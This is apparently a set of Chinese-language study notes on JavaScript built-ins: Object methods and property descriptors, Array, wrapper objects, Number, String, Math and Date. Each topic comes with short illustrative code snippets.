* `Object.defineProperty()`：通过描述对象，定义某个属性。
* `Object.defineProperties()`：通过描述对象，定义多个属性。

**（2）控制对象状态的方法**

* `Object.preventExtensions()`：防止对象扩展，使得一个对象无法再添加新的属性。
* `Object.isExtensible()`：判断对象是否可扩展，用于检查一个对象是否使用了 `Object.preventExtensions` 方法。
* `Object.seal()`：禁止对象配置，使得一个对象既无法添加新属性，也无法删除旧属性，实质是把属性描述对象的 `configurable` 属性设为 `false`
* `Object.isSealed()`：判断一个对象是否可配置，用于检查一个对象是否使用了 `Object.seal` 方法。
* `Object.freeze()`：冻结一个对象，使得它无法添加新属性、无法删除旧属性、也无法改变属性的值，使得这个对象实际上变成了常量。
* `Object.isFrozen()`：判断一个对象是否被冻结，用于检查一个对象是否使用了 `Object.freeze` 方法。

**（3）原型链相关方法**

* `Object.create()`：该方法可以指定原型对象和属性，返回一个新的对象。
* `Object.getPrototypeOf()`：获取对象的 `Prototype` 对象。

**控制对象状态的方法的注意点**

**只影响对象本身（shallow），不影响内部引用（non-transitive）**

约束的是 **这个对象自己的自有属性（own properties）**，不递归、不传递：

* `freeze(obj)` 只会让 `obj` 这一层：不能新增/删除/改值（对数据属性而言）
* 但如果 `obj.a` 指向另一个对象：`obj.a.x = ...` 仍然可能成功（除非 `obj.a` 也被冻住）

一句话：**冻的是壳，不是壳里所有层级。**

**原型链仍然是“旁路”（prototype as a bypass path）**

即使把 `obj` 冻住了，仍然可能通过：

* 改 `obj.__proto__` 指向的对象
* 或再往上改 `Object.prototype`

从效果上看： **`obj` 自己动不了 ≠ `obj` 的行为永远不变**，因为它的“继承来源”可能变，当然这也不是永远都能绕过：原型对象本身也可能被 `seal/freeze` 或属性描述符（`writable/configurable`）卡死。

**总结**：`preventExtensions/seal/freeze` 提供的是 **对象自身的浅层完整性约束**；要防“内部可变”和“原型链旁路”，得用 **deep freeze / 不可变数据结构 / Map 或无原型对象 / Proxy /（极端情况下）冻结原型** 等组合方案。

### 实例方法

`Object` 实例对象的方法，主要有以下六个。

* `Object.prototype.valueOf()`：返回当前对象对应的值。
* `Object.prototype.toString()`：返回当前对象对应的字符串形式。
* `Object.prototype.toLocaleString()`：返回当前对象对应的本地字符串形式。
* `Object.prototype.hasOwnProperty()`：判断某个属性是否为当前对象自身的属性，还是继承自原型对象的属性。
* `Object.prototype.isPrototypeOf()`：判断当前对象是否为另一个对象的原型。
* `Object.prototype.propertyIsEnumerable()`：判断某个属性是否可枚举。

`isPrototypeOf` 是 **原型对象的方法**，用来判断：**“我（左边这个对象）是否出现在右边对象的原型链上”**

```js
const arr = [];
Array.prototype.isPrototypeOf(arr);   // true
Object.prototype.isPrototypeOf(arr);  // true

arr instanceof Array;  // true
arr instanceof Object; // true
```

`arr.__proto__ === Array.prototype`，并且再往上还有 `Object.prototype`。

* `A.prototype.isPrototypeOf(obj)`：问 **A.prototype 是否在 obj 的原型链上**
* `obj instanceof A`：问 **A.prototype 是否在 obj 的原型链上**

自定义原型可以更直观：

```js
const proto = { tag: "P" };
const o = Object.create(proto);

proto.isPrototypeOf(o);              // true
Object.prototype.isPrototypeOf(o);   // true
```

`valueOf` 方法的主要用途是，JavaScript 自动类型转换时会默认调用这个方法

`Object.prototype.toString` 方法返回对象的类型字符串，因此可以用来判断一个值的类型，对象的 `toString` 方法返回一个字符串 `[object Object]`，其中第二个 `Object` 表示该值的构造函数

不同数据类型的 `Object.prototype.toString` 方法返回值如下。

* 数值：返回 `[object Number]`。
* 字符串：返回 `[object String]`。
* 布尔值：返回 `[object Boolean]`。
* undefined：返回 `[object Undefined]`。
* null：返回 `[object Null]`。
* 数组：返回 `[object Array]`。
* arguments 对象：返回 `[object Arguments]`。
* 函数：返回 `[object Function]`。
* Error 对象：返回 `[object Error]`。
* Date 对象：返回 `[object Date]`。
* RegExp 对象：返回 `[object RegExp]`。
* 其他对象：返回 `[object Object]`。

也就是说 `Object.prototype.toString` 可以看出一个值到底是什么类型，利用这个特性，可以写出一个比 `typeof` 运算符更准确的类型判断函数。

```js
var type = function (o){
  var s = Object.prototype.toString.call(o);
  return s.match(/\[object (.*?)\]/)[1].toLowerCase();
};

type({}); // "object"
type([]); // "array"
type(5); // "number"
type(null); // "null"
type(); // "undefined"
type(/abcd/); // "regex"
type(new Date()); // "date"
```

```js
var type = function (o){
  var s = Object.prototype.toString.call(o);
  return s.match(/\[object (.*?)\]/)[1].toLowerCase();
};

['Null',
 'Undefined',
 'Object',
 'Array',
 'String',
 'Number',
 'Boolean',
 'Function',
 'RegExp'
].forEach(function (t) {
  type['is' + t] = function (o) {
    return type(o) === t.toLowerCase();
  };
});

type.isObject({}) // true
type.isNumber(NaN) // true
type.isRegExp(/abc/) // true
```

## 属性描述对象

`Object.getOwnPropertyDescriptor()` 方法可以获取属性描述对象，它的第一个参数是目标对象，第二个参数是一个字符串，对应目标对象的某个属性名。

**注意**：`Object.getOwnPropertyDescriptor()` 方法只能用于对象自身的属性，不能用于继承的属性。

**注意**：一旦定义了取值函数 `get`（或存值函数 `set`），就不能将 `writable` 属性设为 `true`，或者同时定义 `value` 属性，否则会报错。

属性描述对象的各个属性称为“元属性”，因为它们可以看作是控制属性的属性。

`value` 属性是目标属性的值。

`writable` 属性是一个布尔值，决定了目标属性的值（value）是否可以被改变。

**注意**：正常模式下，对 `writable` 为 `false` 的属性赋值不会报错，只会默默失败，但是，严格模式下会报错，即使对 `a` 属性重新赋予一个同样的值。

如果原型对象的某个属性的 `writable` 为 `false`，那么子对象将无法自定义这个属性。

```js
var proto = Object.defineProperty({}, 'foo', {
  value: 'a',
  writable: false
});

var obj = Object.create(proto);

obj.foo = 'b';
obj.foo // 'a'
```

**原型链上 `proto.foo` 的属性描述符参与了对 `obj.foo` 赋值的判定（gatekeeper），但赋值的接收者仍是 `obj`，不是 `proto`。**

因为“赋值”这件事在 JS 里 **不是**“自己没有就一定创建到自己身上”，它还要尊重原型链上同名属性的“规则”。

* **读：自己没有就去原型拿。**
* **写：自己没有会尝试在自己身上创建，但如果原型链上已经有同名属性且它是“不可写/不可设”的，那么它会阻止你创建同名遮蔽属性。**

`obj.foo = ...` 走的是“普通赋值语义”（会受原型链上同名属性影响），而 `Object.defineProperty(obj, 'foo', ...)` 是 **元编程级别的定义/重定义**，它在很多情况下可以 **直接把 `foo` 定义成 `obj` 的自有属性**，从而“绕开”普通赋值那套 `[[Set]]` 规则。

但也有个边界：

1. **目标对象是否可扩展**（`Object.preventExtensions / seal / freeze`）
2. **目标对象上同名自有属性是否 configurable**（不可配置就改不了属性形态）

上述例子可以用 `defineProperty` 直接在 obj 上定义一个自有属性 `foo`，就能遮蔽原型：

```js
Object.defineProperty(obj, 'foo', {
  value: 'b',
  writable: true,
  configurable: true,
  enumerable: true
});

obj.foo;   // 'b'
proto.foo; // 'a'
```

`enumerable`（可遍历性）返回一个布尔值，表示目标属性是否可遍历。

如果一个属性的 `enumerable` 为 `false`，下面三个操作不会取到该属性。

* `for..in` 循环
* `Object.keys` 方法
* `JSON.stringify` 方法

因此，`enumerable` 可以用来设置“秘密”属性。

`for...in` 循环包括继承的属性，`Object.keys` 方法不包括继承的属性，如果需要获取对象自身的所有属性，不管是否可遍历，可以使用 `Object.getOwnPropertyNames` 方法。

另外，`JSON.stringify` 方法会排除 `enumerable` 为 `false` 的属性，有时可以利用这一点，如果对象的 JSON 格式输出要排除某些属性，就可以把这些属性的 `enumerable` 设为 `false`。

`configurable`(可配置性）返回一个布尔值，决定了是否可以修改属性描述对象。也就是说，`configurable` 为 `false` 时，`writable`、`enumerable` 和 `configurable` 都不能被修改了。

**注意**：该属性为 `false` 的时候，`writable` 属性只有在 `false` 改为 `true` 时会报错，`true` 改为 `false` 是允许的。

```js
var obj = Object.defineProperty({}, 'p', {
  writable: true,
  configurable: false
});

Object.defineProperty(obj, 'p', {writable: false})
// 修改成功
```

**`value` 属性的情况比较特殊。只要 `writable` 和 `configurable` 有一个为 `true`，就允许改动 `value`**。

除了直接定义以外，属性还可以用存取器（accessor）定义，其中，存值函数称为 `setter`，使用属性描述对象的 `set` 属性；取值函数称为 `getter`，使用属性描述对象的 `get` 属性。

一旦对目标属性定义了存取器，那么存取的时候，都将执行对应的函数，利用这个功能，可以实现许多高级特性，比如定制属性的读取和赋值行为。

```js
// 写法一
var obj = Object.defineProperty({}, 'p', {
  get: function () {
    return 'getter';
  },
  set: function (value) {
    console.log('setter: ' + value);
  }
});

obj.p // "getter"
obj.p = 123 // "setter: 123"
```

```js
// 写法二
var obj = {
  get p() {
    return 'getter';
  },
  set p(value) {
    console.log('setter: ' + value);
  }
};
```

第一种写法，属性 `p` 的 `configurable` 和 `enumerable` 都为 `false`，从而导致属性 `p` 是不可遍历的；

第二种写法，属性 `p` 的 `configurable` 和 `enumerable` 都为 `true`，因此属性 `p` 是可遍历的。

## 对象拷贝

```js
var extend = function (to, from) {
  for (var property in from) {
    if (!from.hasOwnProperty(property)) continue;
    Object.defineProperty(
      to,
      property,
      Object.getOwnPropertyDescriptor(from, property)
    );
  }

  return to;
}

extend({}, { get a(){ return 1 } })
// { get a(){ return 1 } })
```

`hasOwnProperty` 那一行用来过滤掉继承的属性，否则可能会报错，因为 `Object.getOwnPropertyDescriptor` 读不到继承属性的属性描述对象。

这个方法解决了如果遇到存取器定义的属性，会只拷贝值的问题

但用 `for...in` 会漏掉 **不可枚举的属性**（因为 for...in 只遍历 enumerable），如果想“完整拷贝所有自有属性（含 symbol/不可枚举）”，得换成 `Reflect.ownKeys(from)` 来遍历。

## 数组

### 静态方法

`Array.isArray` 方法返回一个布尔值，表示参数是否为数组，它可以弥补 `typeof` 运算符的不足。

### 实例方法

`valueOf` 方法是一个所有对象都拥有的方法，表示对该对象求值，不同对象的 `valueOf` 方法不尽一致，数组的 `valueOf` 方法返回数组本身。

`toString` 方法也是对象的通用方法，数组的 `toString` 方法返回数组的字符串形式。

`push` 方法用于在数组的末端添加一个或多个元素，并返回添加新元素后的数组长度，注意，该方法会改变原数组。

`pop` 方法用于删除数组的最后一个元素，并返回该元素，注意，该方法会改变原数组。

`shift()` 方法用于删除数组的第一个元素，并返回该元素，注意，该方法会改变原数组。

`unshift()` 方法用于在数组的第一个位置添加元素，并返回添加新元素后的数组长度，注意，该方法会改变原数组。

`join()` 方法以指定参数作为分隔符，将所有数组成员连接为一个字符串返回，如果不提供参数，默认用逗号分隔，通过 `call` 方法，这个方法也可以用于字符串或类似数组的对象：

```js
Array.prototype.join.call('hello', '-')
// "h-e-l-l-o"

var obj = { 0: 'a', 1: 'b', length: 2 };
Array.prototype.join.call(obj, '-')
// 'a-b'
```

`concat` 方法用于多个数组的合并。它将新数组的成员，添加到原数组成员的后部，然后返回一个新数组，原数组不变。

```js
['hello'].concat(['world'])
// ["hello", "world"]

['hello'].concat(['world'], ['!'])
// ["hello", "world", "!"]

[].concat({a: 1}, {b: 2})
// [{ a: 1 }, { b: 2 }]

[2].concat({a: 1})
// [2, {a: 1}]	

[1, 2, 3].concat(4, 5, 6)
// [1, 2, 3, 4, 5, 6]
```

`reverse` 方法用于颠倒排列数组元素，返回改变后的数组，注意，该方法将改变原数组。

`slice()` 方法用于提取目标数组的一部分，返回一个新数组，原数组不变：

```js
arr.slice(start, end);
```

它的第一个参数为起始位置（从 0 开始，会包括在返回的新数组之中），第二个参数为终止位置（但该位置的元素本身不包括在内）。

如果省略第二个参数，则一直返回到原数组的最后一个成员，如果 `slice()` 方法的参数是负数，则表示倒数计算的位置。

`slice()` 方法的一个重要应用，是将类似数组的对象转为真正的数组：

```js
Array.prototype.slice.call({ 0: 'a', 1: 'b', length: 2 })
// ['a', 'b']

Array.prototype.slice.call(document.querySelectorAll("div"));
Array.prototype.slice.call(arguments);
```

`splice()` 方法用于删除原数组的一部分成员，并可以在删除的位置添加新的数组成员，返回值是被删除的元素，注意，该方法会改变原数组。

```js
arr.splice(start, count, addElement1, addElement2, ...);
```

`splice` 的第一个参数是删除的起始位置（从 0 开始），第二个参数是被删除的元素个数，如果后面还有更多的参数，则表示这些就是要被插入数组的新元素。

`sort` 方法对数组成员进行排序，默认是按照字典顺序排序，排序后，原数组将被改变。

`sort()` 方法不是按照大小排序，而是按照字典顺序，也就是说，数值会被先转成字符串，再按照字典顺序进行比较，如果想让 `sort` 方法按照自定义方式排序，可以传入一个函数作为参数：

```js
[10111, 1101, 111].sort(function (a, b) {
  return a - b;
})
// [111, 1101, 10111]
```

`sort` 的参数函数本身接受两个参数，表示进行比较的两个数组成员，如果该函数的返回值大于 `0`，表示第一个成员排在第二个成员后面；

其他情况下，都是第一个元素排在第二个元素前面。

**注意**：自定义的排序函数应该返回数值，否则不同的浏览器可能有不同的实现，不能保证结果都一致。

`map()` 方法将数组的所有成员依次传入参数函数，然后把每一次的执行结果组成一个新数组返回。

`map()` 方法接受一个函数作为参数。该函数调用时，`map()` 方法向它传入三个参数：**当前成员、当前位置和数组本身**。

```js
[1, 2, 3].map(function(elem, index, arr) {
  return elem * index;
});
// [0, 2, 6]
```

`map()` 方法还可以接受第二个参数，用来绑定回调函数内部的 `this` 变量

```js
var arr = ['a', 'b', 'c'];

[1, 2].map(function (e) {
  return this[e];
}, arr)
// ['b', 'c']
```

如果数组有空位，`map()` 方法的回调函数在这个位置不会执行，**会跳过数组的空位**，`map()` 方法不会跳过 `undefined` 和 `null`

`forEach()` 方法与 `map()` 方法很相似，也是对数组的所有成员依次执行参数函数，但是，`forEach()` 方法不返回值，只用来操作数据，这就是说，如果数组遍历的目的是为了得到返回值，那么使用 `map()` 方法，否则使用 `forEach()` 方法。

`forEach()` 的用法与 `map()` 方法一致，参数是一个函数，该函数同样接受三个参数：当前值、当前位置、整个数组。

`forEach()` 方法也可以接受第二个参数，绑定参数函数的 `this` 变量。

**注意**：`forEach()` 方法无法中断执行，总是会将所有成员遍历完，如果希望符合某种条件时，就中断遍历，要使用 `for` 循环。

`forEach()` 方法不会跳过 `undefined` 和 `null`，但会跳过空位。

`filter()` 方法用于过滤数组成员，满足条件的成员组成一个新数组返回，它的参数是一个函数，所有数组成员依次执行该函数，返回结果为 `true` 的成员组成一个新数组返回，该方法不会改变原数组。

`filter()` 方法的参数函数可以接受三个参数：当前成员，当前位置和整个数组。

`filter()` 方法还可以接受第二个参数，用来绑定参数函数内部的 `this` 变量。

```js
[1, 2, 3, 4, 5].filter(function (elem, index, arr) {
  return index % 2 === 0;
});
// [1, 3, 5]
```

`some()`，`every()` 返回一个布尔值，表示判断数组成员是否符合某种条件。

它们接受一个函数作为参数，所有数组成员依次执行该函数，该函数接受三个参数：当前成员、当前位置和整个数组，然后返回一个布尔值。

`some` 方法是只要一个成员的返回值是 `true`，则整个 `some` 方法的返回值就是 `true`，否则返回 `false`。

`every` 方法是所有成员的返回值都是 `true`，整个 `every` 方法才返回 `true`，否则返回 `false`。

**注意**：对于空数组，`some` 方法返回 `false`，`every` 方法返回 `true`，回调函数都不会执行。

`reduce()` 方法和 `reduceRight()` 方法依次处理数组的每个成员，最终累计为一个值，它们的差别是，`reduce()` 是从左到右处理（从第一个成员到最后一个成员），`reduceRight()` 则是从右到左（从最后一个成员到第一个成员），其他完全一样。

```js
[1, 2, 3, 4, 5].reduce(function (a, b) {
  console.log(a, b);
  return a + b;
})
// 1 2
// 3 3
// 6 4
// 10 5
```

`reduce()` 的参数是一个函数，数组每个成员都会依次执行这个函数。如果数组有 n 个成员，这个参数函数就会执行 n - 1 次。

`reduce()` 方法和 `reduceRight()` 方法的第一个参数都是一个函数。该函数接受以下四个参数。

1. 累积变量。第一次执行时，默认为数组的第一个成员；以后每次执行时，都是上一轮的返回值。
2. 当前变量。第一次执行时，默认为数组的第二个成员；以后每次执行时，都是下一个成员。
3. 当前位置。一个整数，表示第二个参数（当前变量）的位置，默认为 `1`。
4. 原数组。

这四个参数之中，只有前两个是必须的，后两个则是可选的。

如果要对累积变量指定初值，可以把它放在 `reduce()` 方法和 `reduceRight()` 方法的第二个参数。

`indexOf` 方法返回给定元素在数组中第一次出现的位置，如果没有出现则返回 `-1`。

`indexOf` 方法还可以接受第二个参数，表示搜索的开始位置。

```js
['a', 'b', 'c'].indexOf('a', 1) // -1
```

`lastIndexOf` 方法返回给定元素在数组中最后一次出现的位置，如果没有出现则返回 `-1`。

**注意**：这两个方法不能用来搜索 `NaN` 的位置，即它们无法确定数组成员是否包含 `NaN`。

## 包装对象

JS 里有三种 **原始类型**：`number` / `string` / `boolean`，在某些条件下，它们会被 **自动转成对象** 来使用，对应的“包装对象”分别是：`Number`，`String`，`Boolean`

**带 `new`**：把原始值“包装成对象”，`new Number(123)`、`new String('abc')`、`new Boolean(true)` 的 `typeof` 都是 `"object"`，并且与原始值全等比较为 `false`。

**不带 `new`**：做类型转换，返回 **原始类型值**，`Number('123') -> 123`，`String(123) -> "123"`，`Boolean(123) -> true`

设计目的：让“对象”这种数据模型能覆盖 JS 的所有值（统一的数据模型），让原始类型也能“像对象一样”调用方法（比如字符串的 `length`、各种方法）

共同实例方法（从 Object 继承）：

* `valueOf()` 返回包装对象对应的 **原始值**
* `toString()` 返回对应的 **字符串形式**

**原始类型 ↔ 包装对象的自动转换**

自动装箱（临时对象）：某些场景下，原始值会被当作对象用：JS 引擎会

1. 临时创建一个包装对象
2. 调用属性/方法
3. 立刻销毁该临时对象

例：`'abc'.length // 3` 本质等价于临时 `new String('abc')` 再取 `length`。

**注意**：临时包装对象是“只读的”，不能给字符串这种原始值“加属性”：`s = 'Hello' ; s.x = 123 ; s.x // undefined`

因为每次访问时生成的是 **新的临时对象**，上次塞进去的属性早就跟着对象销毁了。

真要让所有字符串都有某个属性/方法：应该加到 `String.prototype` 上（原型链）。

自定义方法，给原型加“全局可用”的能力，可以扩展：

* `String.prototype.double = function(){ ... }`

* `Number.prototype.double = function(){ ... }`

这样原始字符串/数字也能直接调用：`'abc'.double()`、`(123).double()`。

细节坑：`123.double()` 会被解析成小数点；需要写 `(123).double()`。

## Number

### 静态属性

* `Number.POSITIVE_INFINITY`：正的无限，指向 `Infinity`。
* `Number.NEGATIVE_INFINITY`：负的无限，指向 `-Infinity`。
* `Number.NaN`：表示非数值，指向 `NaN`。
* `Number.MIN_VALUE`：表示最小的正数（即最接近 0 的正数，在 64 位浮点数体系中为 `5e-324`），相应的，最接近 0 的负数为 `-Number.MIN_VALUE`。
* `Number.MAX_SAFE_INTEGER`：表示能够精确表示的最大整数，即 `9007199254740991`。
* `Number.MIN_SAFE_INTEGER`：表示能够精确表示的最小整数，即 `-9007199254740991`。

### 实例方法

`toString` 方法用来将一个数值转为字符串形式，可以接受一个参数，表示输出的进制，如果省略这个参数，默认将数值先转为十进制，再输出字符串

```js
(10).toString(2) // "1010"
(10).toString(8) // "12"
(10).toString(16) // "a"
```

`toString` 方法只能将十进制的数，转为其他进制的字符串，如果要将其他进制的数，转回十进制，需要使用 `parseInt` 方法

`toFixed()` 方法先将一个数转为指定位数的小数，然后返回这个小数对应的字符串，参数为小数位数，有效范围为 0 到 100，超出这个范围将抛出 RangeError 错误。

```js
(10).toFixed(2) // "10.00"
10.005.toFixed(2) // "10.01"
```

由于浮点数的原因，小数 `5` 的四舍五入是不确定的，使用的时候必须小心

```js
(10.055).toFixed(2) // 10.05
(10.005).toFixed(2) // 10.01
```

`toExponential` 方法用于将一个数转为科学计数法形式，参数是小数点后有效数字的位数，范围为 0 到 100，超出这个范围，会抛出一个 RangeError 错误

```js
(10).toExponential()  // "1e+1"
(10).toExponential(1) // "1.0e+1"
(10).toExponential(2) // "1.00e+1"

(1234).toExponential()  // "1.234e+3"
(1234).toExponential(1) // "1.2e+3"
(1234).toExponential(2) // "1.23e+3"
```

`toPrecision()` 方法用于将一个数转为指定位数的有效数字

该方法的参数为有效数字的位数，范围是 1 到 100，超出这个范围会抛出 RangeError 错误

该方法用于四舍五入时不太可靠，跟浮点数不是精确储存有关

`toLocaleString()` 方法接受一个地区码作为参数，返回一个字符串，表示当前数字在该地区的当地书写形式

```js
(123).toLocaleString('zh-Hans-CN-u-nu-hanidec')
// "一二三"
```

该方法还可以接受第二个参数配置对象，用来定制指定用途的返回字符串。该对象的 `style` 属性指定输出样式，默认值是 `decimal`，表示输出十进制形式。如果值为 `percent`，表示输出百分数

```js
(123).toLocaleString('zh-Hans-CN', { style: 'percent' })
// "12,300%"
```

如果 `style` 属性的值为 `currency`，则可以搭配 `currency` 属性，输出指定格式的货币字符串形式：

```js
(123).toLocaleString('zh-Hans-CN', { style: 'currency', currency: 'CNY' })
// "￥123.00"

(123).toLocaleString('de-DE', { style: 'currency', currency: 'EUR' })
// "123,00 €"

(123).toLocaleString('en-US', { style: 'currency', currency: 'USD' })
// "$123.00 "
```

如果省略了参数，则由浏览器自行决定如何处理，通常会使用操作系统的地区设定

**注意**：该方法如果使用浏览器不认识的地区码，会抛出一个错误

## String

### 静态方法

`String.fromCharCode()` 是 **String 构造函数的静态方法**，用于把一组 UTF-16 码元（0 ~ 0xFFFF）转换成字符串，参数为多个数值 → 按顺序拼成字符串

```js
String.fromCharCode()               // ""
String.fromCharCode(97)             // "a"
String.fromCharCode(104,101,108,108,111) // "hello"
```

它的参数 **不是 Unicode 码点（code point）**，而是 **UTF-16 码元（code unit）**

也就是说：每个参数都会被当成 **16 位整数（Uint16）**，**超过 0xFFFF 的部分会被直接丢弃**

不支持大于 0xFFFF 的字符，根本原因是 JS 字符串底层使用 **UTF-16**，默认一个“字符”占 **2 字节（16 位）**，码点 > 0xFFFF 的字符（emoji、扩展汉字）需要 4 字节，UTF-16 用 **代理对（surrogate pair）** 来表示它们

```js
String.fromCharCode(0xD842, 0xDFB7)
```

`0x20BB7` 在 UTF-16 中会被拆成：高代理：`0xD842`，低代理：`0xDFB7`，两个 16 位码元合在一起，才能表示一个真实字符，这个拆分规则是 UTF-16 规范决定的，一般不手算

或者直接使用 `String.fromCodePoint()`（ES6） ，区别：

* `fromCharCode` → **吃码元（16 位）**
* `fromCodePoint` → **吃码点（真正的 Unicode 字符）**

`String.fromCodePoint()` 是 ES6（ES2015）引入的，主要是因为 JS 对 Unicode 的支持 **非常不完整**

* JS **从一开始就不是“没引入 Unicode”**：它一直用 Unicode 的字符集概念。
* 但 JS **内部字符串的存储单位**，一直是 **UTF-16 的 16 位码元（code unit）**。
* 早期（ES5 及之前）的问题是：**很多字符串 API 只按“码元”工作**，对 > 0xFFFF 的字符（需要两个码元的代理对）就显得“不懂 Unicode”。

Unicode 给每个字符一个编号（码点 code point），比如 😀 是 U+1F600，JS 选择用 UTF-16 来表示这些码点：

* BMP 范围（≤ U+FFFF）：1 个 16 位码元就够
* 非 BMP（> U+FFFF）：需要 **2 个码元（代理对）**

### 实例属性

`charAt` 方法返回指定位置的字符，参数是从 `0` 开始编号的位置。

`charCodeAt()` 方法返回字符串指定位置的 Unicode 码点（十进制表示），相当于 `String.fromCharCode()` 的逆操作。

**注意**：`charCodeAt` 方法返回的 Unicode 码点不会大于 65536（0xFFFF），也就是说，只返回两个字节的字符的码点，如果遇到码点大于 65536 的字符（四个字节的字符），必须连续使用两次 `charCodeAt`，不仅读入 `charCodeAt(i)`，还要读入 `charCodeAt(i+1)`，将两个值放在一起，才能得到准确的字符。

`concat` 方法用于连接两个字符串，返回一个新字符串，不改变原字符串，该方法可以接受多个参数。

`slice()` 方法用于从原字符串取出子字符串并返回，不改变原字符串，它的第一个参数是子字符串的开始位置，第二个参数是子字符串的结束位置（不含该位置），如果省略第二个参数，则表示子字符串一直到原字符串结束。

`substring` 方法用于从原字符串取出子字符串并返回，不改变原字符串，跟 `slice` 方法很相像，它的第一个参数表示子字符串的开始位置，第二个位置表示结束位置（返回结果不含该位置），如果省略第二个参数，则表示子字符串一直到原字符串的结束，如果第一个参数大于第二个参数，`substring` 方法会自动更换两个参数的位置，如果参数是负数，`substring` 方法会自动将负数转为 0。

`substr` 方法用于从原字符串取出子字符串并返回，不改变原字符串，跟 `slice` 和 `substring` 方法的作用相同。

`substr` 方法的第一个参数是子字符串的开始位置（从 0 开始计算），第二个参数是子字符串的长度，如果省略第二个参数，则表示子字符串一直到原字符串的结束，如果第一个参数是负数，表示倒数计算的字符位置。如果第二个参数是负数，将被自动转为 0，因此会返回空字符串。

`indexOf` 方法用于确定一个字符串在另一个字符串中第一次出现的位置，返回结果是匹配开始的位置。如果返回 `-1`，就表示不匹配，还可以接受第二个参数，表示从该位置开始向后匹配。

```js
'hello world'.indexOf('o') // 4
'JavaScript'.indexOf('script') // -1
```

`lastIndexOf` 方法的用法跟 `indexOf` 方法一致，主要的区别是 `lastIndexOf` 从尾部开始匹配，`indexOf` 则是从头部开始匹配，`lastIndexOf` 的第二个参数表示从该位置起向前匹配。

`trim` 方法用于去除字符串两端的空格，返回一个新字符串，不改变原字符串，该方法去除的不仅是空格，还包括制表符（`\t`、`\v`）、换行符（`\n`）和回车符（`\r`）。

`toLowerCase` 方法用于将一个字符串全部转为小写，`toUpperCase` 则是全部转为大写，它们都返回一个新字符串，不改变原字符串。

`match` 方法用于确定原字符串是否匹配某个子字符串，返回一个数组，成员为匹配的第一个字符串，如果没有找到匹配，则返回 `null`，返回的数组还有 `index` 属性和 `input` 属性，分别表示匹配字符串开始的位置和原始字符串，还可以使用正则表达式作为参数。

`search` 方法的用法基本等同于 `match`，但是返回值为匹配的第一个位置，如果没有找到匹配，则返回 `-1`，`search` 方法还可以使用正则表达式作为参数。

`replace` 方法用于替换匹配的子字符串，一般情况下只替换第一个匹配（除非使用带有 `g` 修饰符的正则表达式），可以使用正则表达式作为参数。

`split` 方法按照给定规则分割字符串，返回一个由分割出来的子字符串组成的数组，如果省略参数，则返回数组的唯一成员就是原字符串，还可以接受第二个参数，限定返回数组的最大成员数，可以使用正则表达式作为参数。

## Math

[Math 对象（网道）](https://wangdoc.com/javascript/stdlib/math)

`Math.abs` 方法返回参数值的绝对值。

`Math.floor` 方法返回小于或等于参数值的最大整数（地板值）。

```js
Math.floor(3.2) // 3
Math.floor(-3.2) // -4
```

`Math.ceil` 方法返回大于或等于参数值的最小整数（天花板值）。

```js
Math.ceil(3.2) // 4
Math.ceil(-3.2) // -3
```

`Math.round` 方法用于四舍五入

`Math.pow` 方法返回以第一个参数为底数、第二个参数为指数的幂运算值。

`Math.sqrt` 方法返回参数值的平方根，如果参数是一个负值，则返回 `NaN`。

`Math.random()` 返回 0 到 1 之间的一个伪随机数，可能等于 0，但是一定小于 1。

任意范围的随机数生成函数如下

```js
function getRandomArbitrary(min, max) {
  return Math.random() * (max - min) + min;
}

getRandomArbitrary(1.5, 6.5)
// 2.4942810038223864
```

任意范围的随机整数生成函数如下

```js
function getRandomInt(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

getRandomInt(1, 6) // 5
```

返回随机字符的例子如下

```js
function random_str(length) {
  var ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  ALPHABET += 'abcdefghijklmnopqrstuvwxyz';
  ALPHABET += '0123456789-_';
  var str = '';
  for (var i = 0; i < length; ++i) {
    var rand = Math.floor(Math.random() * ALPHABET.length);
    str += ALPHABET.substring(rand, rand + 1);
  }
  return str;
}

random_str(6) // "NdQKOr"
```

## Date

`Date` 对象可以作为普通函数直接调用，返回一个代表当前时间的字符串。

```js
Date()
// 'Wed Jan 28 2026 10:07:00 GMT+0800 (中国标准时间)'
```

`Date` 还可以当作构造函数使用，对它使用 `new` 命令，会返回一个 `Date` 对象的实例，如果不加参数，实例代表的就是当前时间，`Date` 对象可以接受多种格式的参数，返回一个该参数对应的时间实例。

```js
// 参数为时间零点开始计算的毫秒数
new Date(1378218728000)
// Tue Sep 03 2013 22:32:08 GMT+0800 (CST)

// 参数为日期字符串
new Date('January 6, 2013');
// Sun Jan 06 2013 00:00:00 GMT+0800 (CST)

// 参数为多个整数，
// 代表年、月、日、小时、分钟、秒、毫秒
new Date(2013, 0, 1, 0, 0, 0, 0)
// Tue Jan 01 2013 00:00:00 GMT+0800 (CST)
```

`Date` 实例有一个独特的地方。其他对象求值的时候，都是默认调用 `.valueOf()` 方法，但是 `Date` 实例求值的时候，默认调用的是 `toString()` 方法。

这导致对 `Date` 实例求值，返回的是一个字符串，代表该实例对应的时间：

```js
var today = new Date();

today
// "Tue Dec 01 2015 09:34:43 GMT+0800 (CST)"

// 等同于
today.toString()
// "Tue Dec 01 2015 09:34:43 GMT+0800 (CST)"
```

参数可以是负整数，代表 1970 年元旦之前的时间

```js
new Date(-1378218728000)
// Fri Apr 30 1926 17:27:52 GMT+0800 (CST)
```

只要是能被 `Date.parse()` 方法解析的字符串，都可以当作参数

```js
new Date('2013-2-15')
new Date('2013/2/15')
new Date('02/15/2013')
new Date('2013-FEB-15')
new Date('FEB, 15, 2013')
new Date('FEB 15, 2013')
new Date('February, 15, 2013')
new Date('February 15, 2013')
new Date('15 Feb 2013')
new Date('15, February, 2013')
// Fri Feb 15 2013 00:00:00 GMT+0800 (CST)
```

参数为年、月、日等多个整数时，年和月是不能省略的，其他参数都可以省略的。

也就是说，这时至少需要两个参数，因为如果只使用“年”这一个参数，`Date` 会将其解释为毫秒数。

各个参数的取值范围如下：

* 年：使用四位数年份，比如 `2000`，如果写成两位数或个位数，则加上 `1900`，即 `10` 代表 1910 年。如果是负数，表示公元前。
* 月：`0` 表示一月，依次类推，`11` 表示 12 月。
* 日：`1` 到 `31`。
* 小时：`0` 到 `23`。
* 分钟：`0` 到 `59`。
* 秒：`0` 到 `59`
* 毫秒：`0` 到 `999`。

**注意**：月份从 `0` 开始计算，但是，天数从 `1` 开始计算。另外，除了日期的默认值为 `1`，小时、分钟、秒钟和毫秒的默认值都是 `0`。

类型自动转换时，`Date` 实例如果转为数值，则等于对应的毫秒数；

